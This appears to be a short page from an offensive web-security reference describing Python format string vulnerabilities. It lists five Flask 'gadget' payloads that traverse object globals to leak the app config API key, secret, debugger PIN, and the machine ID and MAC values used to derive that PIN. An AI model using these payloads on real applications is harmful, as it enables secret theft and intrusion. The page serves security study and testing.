OffensiveWeb Get started

Format String

Definition

A format string vulnerability in Python occurs when user input is directly passed into a string formatting operation, such as %s or {} in printf-style or .format() methods, without proper sanitization, potentially allowing an attacker to perform unintended operations or disclose memory contents.

Gadgets

Flask

{self.__init__.__globals__[config][API_KEY]}
{ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug]._machine_id}
{ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug].uuid._node}
{ua.__class__.__init__.__globals__[t].sys.modules[threading]._active[%s]._target.__self__.app.pin}
{ua.__class__.__init__.__globals__[t].sys.modules[threading]._active[%s]._target.__self__.app.secret}

References

Prev
Express.js
Next
GraphQL